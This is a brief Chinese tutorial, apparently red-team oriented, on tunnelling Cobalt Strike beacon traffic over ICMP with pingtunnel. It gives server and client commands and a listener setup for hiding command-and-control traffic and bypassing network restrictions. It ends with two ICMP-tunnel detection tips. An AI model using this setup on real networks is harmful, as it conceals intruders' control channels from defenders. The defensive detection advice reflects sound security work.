通过PING tunnel 转换 beacon 流量
0x00 前言
pingtunnel是把tcp/udp/sock5流量伪装成icmp流量进行转发的工具。用于突破网络封锁,或是绕过WIFI网络的登陆验证,或是在某些网络加快网络传输速度。
项目地址:https://github.com/esrrhs/pingtunnel
适用场景 :特殊环境下icmp流量允许出网
实现原理:目标机将TCP流量封装成icmp,然后发送给服务端,服务端再从ICMP包解析出正常TCP流量最后发向cobalt strike的listener端口。
0x01 测试
Linux 服务端配置:
- 关闭linux系统icmp回应功能
1 | echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all |
Windows 客户端配置:
这里以转发tcp为例
1 | pingtunnel.exe -type client -l :4455 -s fe80::20c:29ff:fef6:f345%33 -t fe80::20c:29ff:fef6:f345%33:4455 -tcp 1 |
这里监听两个Listener 其中一个host为本地127.0.0.1 listener作用是让生成出来的agent去连接127.0.0.1:4455,这样流量就能走icmp隧道。
最终实现结果如下:
0x02 防御检测
1、检测同一来源 ICMP 数据包的数量。一个正常的 ping 每秒最多只会发送两个数据包,而使用 ICMP隧道的浏览器在同一时间会产生上千个 ICMP 数据包。
2、注意网络中 ICMP 数据包中 payload 大于 64 比特的数据包。
0x03 思考
…..